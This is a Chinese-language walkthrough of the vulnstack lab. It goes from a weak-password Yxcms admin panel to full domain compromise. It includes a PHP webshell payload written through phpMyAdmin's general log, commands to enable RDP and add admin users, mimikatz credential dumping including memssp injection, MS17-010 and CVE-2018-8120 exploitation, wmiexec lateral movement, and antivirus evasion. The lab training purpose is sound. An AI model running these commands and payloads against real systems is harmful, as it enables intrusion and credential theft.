從外網到域控(vulnstack靶機實戰)


前言

vlunstack是紅日安全團隊出品的一個實戰環境,具體介紹請訪問:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

拓撲結構大體如下:

 

話不多說,直接開搞..

 

外網初探

打開頁面后發現是一個Yxcms的站點,關於Yxcms的漏洞可以參考:https://www.freebuf.com/column/162886.html

 

然后找到后台,隨手一個弱口令:admin、123456便進入了后台(實戰中也有很多的站點是弱口令,只能說千里之堤潰於蟻穴)

 

關於Yx后台拿shell的方法還是很簡單的,直接在新建模板哪里,將我們的一句話木馬添加進去就ok了

比如這樣

 

此時我們連接index.php即可獲得shell

 

此時呢,我們先不往下進行,既然是靶機,我們就應該多去嘗試一下發掘它其他的漏洞,蟻劍連接以后可以發現這是一個phpstudy搭建的網站,那么按照經驗我們知道應該會有默認的phpmyadmin在,我們嘗試訪問:

 

發現猜測的沒錯,那么默認密碼呢,root、root發現竟然也進去了,那么就來復習一下phpmyadmin后台getshell吧。phpmyadmin后台getshell一般有以下幾種方式:

1、select into outfile直接寫入
2、開啟全局日志getshell
3、使用慢查詢日志getsehll
4、使用錯誤日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

我們先來看一下第一種,直接寫shell

 

發現是不行的,而且該變量為只讀,所以只能放棄。

再來看一下第二種,利用全局變量general_log去getshell

 

我們嘗試更改日志狀態、位置

set global general_log=on;# 開啟日志

 

set global general_log_file='C:/phpstudy/www/yxcms/v01cano.php';# 設置日志位置為網站目錄

發現已經成功更改

 

此時執行如下語句即可getshell

select '<?php assert($_POST["a"]); ?>'

剩下的就不再去測試了,大家有興趣的可以去自行嘗試

拿到shell之后我們就該提權了

 

殺入內網

 

發現是一個administrator權限的shell,然后查看3389是否開啟

 

發現3389並沒有開啟,我們使用以下命令開啟它:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后就發現3389已經成功的開啟了

 

嘗試添加用戶:

C:\phpStudy\WWW\yxcms> net user test N0hWI!@! /add

命令成功完成。

C:\phpStudy\WWW\yxcms> net localgroup administrators test /add

命令成功完成。

可以發現已經成功添加一個用戶上去

 

嘗試遠程桌面連接卻失敗了,nmap掃描3389端口發現狀態為filtered

 

猜測應該是防火牆的問題,查看虛擬機發現猜測沒錯

 

此時思路一般如下:

1、反彈一個msf的shell回來,嘗試關閉防火牆
2、嘗試使用隧道連接3389

我們先來看一下第二種我們這里使用ngrok:

在ngrok中添加一條tcp隧道就ok然后了,然后我們就可以去連接目標的3389了

 

我們再來看一下第一種的操作,先反彈一個msf的shell回來

 

關閉防火牆:

meterpreter >  run post/windows/manage/enable_rdp

 

此時我們便可以直接連接目標主機了

 

下面我們就該去殺入域控了,殺入域之前我們先來做一些基礎的信息收集,畢竟大佬說過滲透測試的本質是信息收集..

ipconfig /all    查詢本機IP段,所在域等

net config Workstation    當前計算機名,全名,用戶名,系統版本,工作站域,登陸域

net user    本機用戶列表

net localhroup administrators    本機管理員[通常含有域用戶]

net user /domain    查詢域用戶

net user 用戶名 /domain    獲取指定用戶的賬戶信息

net user /domain b404 pass    修改域內用戶密碼,需要管理員權限

net group /domain    查詢域里面的工作組

net group 組名 /domain    查詢域中的某工作組

net group "domain admins" /domain    查詢域管理員列表

net group "domain controllers" /domain    查看域控制器(如果有多台)

net time /domain    判斷主域,主域服務器都做時間服務器

ipconfig /all    查詢本機IP段,所在域等

經過一番信息收集,我們可以知道域控的地址為:192.168.52.138、域成員主機03地址:192.168.52.141

然后抓一下本地管理員的密碼:

首先使用getsystem進行提權

 

我們此時已經獲取了system權限(實戰中可能需要其他更復雜的方式進行提權)

然后抓一下hash

發現失敗了

 

然后我們用msf自帶的模塊進行hash抓取

meterpreter > run post/windows/gather/smart_hashdump

發現已經獲取了hash

 

但是這樣獲取的hash不是很全面,我們再使用mimitakz進行抓取

meterpreter > mimikatz_command -f samdump::hashes

 

在本環境中我們是沒有辦法直接抓取明文的,當然也有辦法繞過就是自己上傳一個mimitakz使用debug進行明文抓取

我們先把mimitakz(實戰中需要免殺處理)上傳上去:

 

然后進行明文密碼抓取

 

先進行權限提升

privilege::debug

然后使用

sekurlsa::logonPasswords

進行明文抓取

 

此時我們就已經獲取到了administrator的明文密碼

我們再對03進行滲透

 

內網漫游

先添加一條路由進來:

meterpreter > run autoroute -s 192.168.52.0/24

 

我們使用作者給出的漏洞列表進行嘗試

 

然后使用08-067(https://www.freebuf.com/vuls/203881.html) 進行滲透,發現失敗了..

 

對另外的漏洞也進行了測試
后來發現都還是失敗了…額,后來查看發現是目標主機這些服務默認沒有開啟,需要手工開啟…

算了直接使用ms17-010打一個shell回來,這里要注意一下,msf內置的17-010打2003有時候多次執行后msf就接收不到session,而且ms17-010利用時,脆弱的server 2003非常容易藍屏。
本人也嘗試了一下github上的windows 2003 – windows 10全版本的msf 17-010腳本,但效果都是一般..這里也給出腳本名稱,大家可以自己去找一下..(ms17_010_eternalblue_doublepulsar)

這里的話呢,先給大家說一下思路,首先機器為域內主機,不通外網我們不能直接使用17-010來打,可以先使用msf的socks功能做一個代理出來,這樣我們便可以使用nmap等對其進行簡單的信息判斷

像這樣(-PN、-sT必須加):

proxychains nmap -p 3389 -Pn -sT 192.168.52.141

 

而且使用msf的代理之后就不能使用反向shell了,我們需要使用正向shell,然后我們可以先使用auxiliary/admin/smb/ms17_010_command來執行一些命令

 

然后這時候如果你的權限是system,你可以添加一個用戶,然后使用exploit/windows/smb/ms17_010_psexec 嘗試去打一個shell回來,因為這個模塊需要你去指定一個管理員用戶….但是我這里依然失敗了,於是我便添加了一個用戶上去,直接使用遠程桌面連接上了2003的機器…

 

然后傳了一個msf的正向shell,使用msf接收到了2003的shell

 

因為是2003的機器,直接getsystem便得到了system權限

 

然后用之前相同的方法便可以得到管理員的明文密碼..

這里順便說一下,除了上面的那種方法可以得到shell,也可以添加用戶和使用regeorg+proxifier進入內網連接,然后用netsh中轉得到session

至此2003的滲透基本就到此為止了,我們下面來懟域控!!!

其實在前面我們已經拿到了域用戶的帳號密碼,即administrator、hongrisec@2019我們現在要做的就是如何登錄到域控上去

我們這里的話呢使用wmi進行操作

上傳wmi到192.168.52.143(win7)這個機器上去,然后執行:

C:UsersAdministratorDesktop>cscript.exe wmiexec.vbs /cmd 192.168.52.138 admin

istrator hongrisec@2019 "whoami"

得到回顯

 

然后通過相同的方式下載一個msf的木馬,反彈一個shell回來(正向)

得到shell

 

這里很好奇的是,為了增加難度,我在域控上加了一個安全狗上去,但是在我執行msf的shell的時候並沒有提示任何異常操作..

 

算了,不管他..繼續,提權域控,導出域hash
先查看有那些補丁沒有打..

run post/windows/gather/enum_patches

 

嘗試了幾個exp之后都失敗了,於是寄出神器CVE-2018-8120

 

得到system權限,然后下面我們嘗試去抓取域控上面的hash與明文密碼..

我們這里使用直接上傳mimikatz的方法進行抓取,這時候,終於安全狗報毒了…

我們換上免殺的mimikatz進行密碼抓取

 

但這只是我們當前用戶的密碼,我們需要一個域管理的密碼..
我們可以做如下操作:

mimikatz # privilege::debug

Privilege '20' OK

 

mimikatz # misc::memssp

Injected =)

 

mimikatz # exit

此時我們只需要耐心等待域管理員登錄就好了,我們模擬登錄后再進行查看.

 

已經獲得了域管理員的明文密碼

 

寫在后面

整個過程下來收獲還是蠻大的,也意識到了自己的不足,當然我的這種方法可能不是最好的方法,而且作者也說了在域控上有redis漏洞等,文中都沒有涉及,而且實戰中肯定也會比這個復雜的多,本文也僅僅是給大家提供一個思路而已,如果文中有出錯的地方還望指出,以免誤人子弟。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM